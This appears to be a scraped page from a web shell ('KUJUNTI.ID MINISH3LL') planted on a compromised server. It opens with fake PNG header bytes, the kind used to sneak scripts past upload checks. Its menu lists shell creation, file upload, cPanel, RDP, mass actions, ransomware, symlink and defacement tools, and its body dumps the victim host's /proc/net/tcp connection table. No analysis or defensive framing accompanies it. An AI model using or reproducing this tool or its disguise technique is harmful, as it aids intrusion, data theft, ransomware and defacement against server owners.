\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /proc/3898379/net/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/3898379/net/tcp


  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:15B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107462994 1 0000000000000000 100 0 0 10 0                 
   1: 0100007F:18EB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   121        0 20525 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:1D14 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107463917 1 0000000000000000 100 0 0 10 0                 
   3: 00000000:1538 00000000:0000 0A 00000000:00000000 00:00000000 00000000   123        0 108279110 1 0000000000000000 100 0 0 10 0                 
   4: 00000000:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 1903368 1 0000000000000000 100 0 0 10 0                   
   5: 0100007F:2BCB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   117        0 112736226 1 0000000000000000 100 0 0 10 0                 
   6: 00000000:1E62 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 108405648 1 0000000000000000 100 0 0 10 0                 
   7: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 179127393 1 0000000000000000 100 0 0 10 0                 
   8: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17382 1 0000000000000000 100 0 0 10 0                     
   9: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 141025641 1 0000000000000000 100 0 0 10 0                 
  10: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 179127394 1 0000000000000000 100 0 0 10 0                 
  11: 00000000:006F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16665 1 0000000000000000 100 0 0 10 0                     
  12: 00000000:1393 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107465074 1 0000000000000000 100 0 0 10 0                 
  13: 00000000:0BB9 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 131204474 1 0000000000000000 100 0 0 10 0                 
  14: 00000000:1BC7 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 108405707 1 0000000000000000 100 0 0 10 0                 
  15: 00000000:13F7 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107927695 1 0000000000000000 100 0 0 10 0                 
  16: 00000000:1B59 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107465070 1 0000000000000000 100 0 0 10 0                 
  17: 00000000:1B58 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107465071 1 0000000000000000 100 0 0 10 0                 
  18: 00000000:2260 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 140394433 1 0000000000000000 100 0 0 10 0                 
  19: 0100007F:96E8 0100007F:0BB8 06 00000000:00000000 03:0000017F 00000000     0        0 0 3 0000000000000000                                      
  20: A37A5A9D:01BB 48D949D8:29A7 06 00000000:00000000 03:00001359 00000000     0        0 0 3 0000000000000000                                      
  21: A37A5A9D:D57C A427A6BC:01BB 01 000000C4:00000000 01:00000002 00000000   998        0 179157014 2 0000000000000000 21 4 27 10 -1                
  22: A37A5A9D:0050 1262D055:61AC 01 00000000:00000000 00:00000000 00000000   998        0 179156135 1 0000000000000000 29 4 31 10 -1                
  23: A37A5A9D:01BB 1262D055:B14C 01 00000000:00000000 00:00000000 00000000   998        0 179156138 1 0000000000000000 30 4 29 10 -1                
  24: A37A5A9D:01BB 6ACA7232:C944 06 00000000:00000000 03:00000672 00000000     0        0 0 3 0000000000000000                                      
  25: A37A5A9D:01BB 89AF7433:29D0 06 00000000:00000000 03:00001245 00000000     0        0 0 3 0000000000000000                                      
  26: A37A5A9D:01BB 48D949D8:3264 01 000005DD:00000000 01:0000000D 00000000   998        0 179155506 2 0000000000000000 31 4 0 52 -1                 
  27: A37A5A9D:01BB 48D949D8:D586 01 00000000:00000000 00:00000000 00000000   998        0 179153395 1 0000000000000000 31 4 29 2580 -1              
  28: A37A5A9D:D57A A427A6BC:01BB 01 00000000:00000000 00:00000000 00000000   998        0 179158027 3 0000000000000000 21 4 17 10 -1                
  29: A37A5A9D:01BB 4CA74D28:0AE0 01 00000000:00000000 00:00000000 00000000   998        0 179155510 1 0000000000000000 30 4 25 17 -1                
  30: 0100007F:96CE 0100007F:0BB8 06 00000000:00000000 03:00000D5E 00000000     0        0 0 3 0000000000000000                                      
  31: A37A5A9D:0050 90C6A52B:9EF6 06 00000000:00000000 03:00000245 00000000     0        0 0 3 0000000000000000                                      
  32: A37A5A9D:D004 F1BE5B33:01BB 01 00000000:00000000 00:00000000 00000000     0        0 167941908 1 0000000000000000 22 4 30 2 2                  
  33: A37A5A9D:01BB C5F3074A:C248 01 00000000:00000000 00:00000000 00000000   998        0 179126263 1 0000000000000000 30 4 30 10 -1                
  34: A37A5A9D:D018 9078042E:0301 01 00000000:00000000 00:00000000 00000000     0        0 170223285 1 0000000000000000 20 4 31 10 69                
  35: A37A5A9D:01BB 48D949D8:9EAA 06 00000000:00000000 03:000014F3 00000000     0        0 0 3 0000000000000000                                      

© KUJUNTI.ID